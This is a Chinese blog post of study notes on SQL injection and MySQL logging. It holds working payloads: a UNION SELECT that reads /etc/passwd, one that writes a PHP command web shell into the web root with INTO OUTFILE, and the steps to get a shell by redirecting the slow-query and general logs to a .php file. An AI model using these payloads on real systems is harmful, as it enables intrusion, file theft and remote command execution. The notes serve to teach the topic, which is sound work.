• sql注入攻击与防御第一章(笔记)


    第一章 什么是sql注入

    概述

    SQL注入:应该用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)查询时,如果为攻击者提供了影响该查询的能力,就会引发SQL注入。

    SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行

    自SQL数据库首次链接web起 SQL注入就已经存在了 ,它首次引起公众注意是在1998年圣诞节。

    web工作原理

    web应用通常包含三层

    1. 表示层(web浏览器或呈现引擎)
    2. 逻辑层(php,java,c#,asp等编程语言)
    3. 存储层(mysql、oracle、sql server等数据库)

    web表示层向逻辑层层发送请求,逻辑层通过查询,更新存储层来响应该请求

    SQL注入的产生过程

    1.转义字符处理不当

    sql数据库将单引号字符 ' 解析成代码与数据间的分隔线。单引号外面是代码,里面是数据

    $sql="SELECT * FROM table WHERE field='$_GET["input"]'";
    www.baidu.com/news.php?id=1’

    2.类型处理不当

    $SQL="SELECT * FROM table WHERE field=$_GET["userid]";

    mysql提供一个名为LOAD_FILE函数。调用该函数必须拥有FILE权限

    1 union ALL SELECT LOAD_FILE('/etc/passwd') --

    mysql还包含一个内置命令,可以用来创建系统文件并进行写操作。

    1 UNION SELECT"<? system($_REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"

    要向执行LOAD_FILE和SELECT INTO OUTFILE命令 必须拥有FILE权限

    Load_file()

    Into outfile

    3.查询语句组装不当

    4.错误处理不当

    最常见的问题是将详细的内部消息(如数据库转储、错误代码等)显示给用户或攻击者

    5.多个提交处理不当

    6.不安全的数据库配置

    1. SQLserver使用了声名狼藉的 sa 作为数据库系统管理账户
    2. mysql使用root和anonymous用户账户
    3. Orace在创建数据库时会默认创建 SYS,SYSTEM,DBSNMP和OUTLN账户
    4. 服务器默认支持(xp_cmdshell、OPENROWSET、LOAD_FILE、ActiveX以及JAVA支持)

    知识延伸-FILE权限、突破secure_file_prive getshell、mysql日志

    • 知识延伸-FILE权限

      FILE权限指的是对服务器主机上文件的访问,数据库用户拥有FILE权限才可以执行select into outfile,load data infile操作。

      secure_file_priv参数说明

      secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

      mysql新特性secure_file_priv对文件读写的影响 此开关默认为null,不允许导入导出

      解决方案

      window 修改my.ini 在[mysqld]内加入secure_file_priv=
      Linux:修改my.cnf 在[mysqld]内加入secure_file_priv=

      重启即可开启

      show global variables like '%secure%’;  //查看secure-file-priv参数的值:

      ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

      当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

      当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

    • 利用日志来写shell(突破secure_file_priv是null的情况)

      1.利用慢查询日志getsell

      1.设置slow_query_log=1 启用慢查询日志

      set global slow_query_log=1;

      2.修改slow_query_log_file日志文件的绝对路径与文件名

      set global slow_query_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'

      3.通过延迟语句延迟执行才能写进日志 就成功写shell了

      select<?php phpinfo();?>or sleep(11);

      参考学习:https://www.cnblogs.com/c1e4r/articles/8902444.html

      2.利用查询日志getshell

      1.开启查询日志

      set global general_log='ON'

      2.设置操作记录日志路径

      set global general_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'

      3.执行sql查询日志 产生日志即可getshell

      select "<?php phpinfo();?>"

      参考学习:https://www.jianshu.com/p/2da700db961e?from=groupmessage

    • linux查看mysql日志

      进入mysql安装目录 一般 /usr/local/mysql/data

      show variables like 'general_log'; -- 查看日志是否开启
      set global general_log=on; -- 开启日志功能
      set global general_log=on; -- 开启日志功能
      set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
      show variables like 'log_output'; -- 看看日志输出类型 table或file
      set global log_output='table'; -- 设置输出类型为 table
      set global log_output='file'; -- 设置输出类型为file

      mysql日志包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志

      **错误日志:**文件通常的名称为hostname.err。其中,hostname表示服务器主机名。

      | log_error                               | ./VM-16-2-centos.err                                 | 定义错误日志
      

      更改日志位置

      [mysqld] Log_error=DIR/[filename]

      **查询日志:**询日志会记录用户的所有操作,其中还包含增删查改等信息,在并发操作大的环境下会产生大量的信息从而导致不必要的磁盘IO,会影响mysql的性能的

      | general_log                             | OFF                                                  |  定义查询日志是否开启
      | general_log_file                        | /www/mysql_data/mysql-5.5.62/data/VM-16-2-centos.log |  定义查询日志文件位置
      

      **慢查询:**慢查询日志是用来记录执行时间超过指定时间的查询语句。通过慢查询日志,可以查找出哪些查询语句的执行效率很低,以便进行优化。

      | slow_query_log                          | ON                                                   | 是否开启
      | slow_query_log_file                     | mysql-slow.log                                       | 日志位置
      

      启动和设置慢查日志:

      1.通过配置文件my.cnf中的log-slow-queries选项可以开启慢查日志

      [mysqld] slow_query_log=1

      2.登陆mysql使用mysql命令执行。

      set global slow_query_log=1;

      **事务日志:**事务日志(InnoDB特有的日志)可以帮助提高事务的效率。使用事务日志,存储引擎在修改表的数据时只需要修改其内存拷贝,再把改修改行为记录到持久在硬盘上的事务日志中,而不用每次都将修改的数据本身持久到磁盘。

      **二进制日志:**二进制日志也叫作变更日志,主要用于记录修改数据或有可能引起数据改变的mysql语句,并且记录了语句发生时间、执行时长、操作的数据等等。所以说通过二进制日志可以查询mysql数据库中进行了哪些变化。

      参考学习:https://blog.51cto.com/pangge/1319304

  • 相关阅读:
    前端试题本(Javascript篇)
    前端知识杂烩(Javascript篇)
    前端知识杂烩(HTML[5]?+CSS篇)
    Javascript实现的数组降维——维度不同,怎么谈恋爱
    你不知道的CSS背景—css背景属性全解
    基于Codeigniter框架实现的APNS批量推送—叮咚,查水表
    CSS布局经典—圣杯布局与双飞翼布局
    JavaScript异步编程的主要解决方案—对不起,我和你不在同一个频率上
    CSS实现元素水平垂直居中—喜欢对称美,这病没得治
    JS实现常用排序算法—经典的轮子值得再造
  • 原文地址:https://www.cnblogs.com/xhds/p/14466021.html
Copyright © 2020-2023  润新知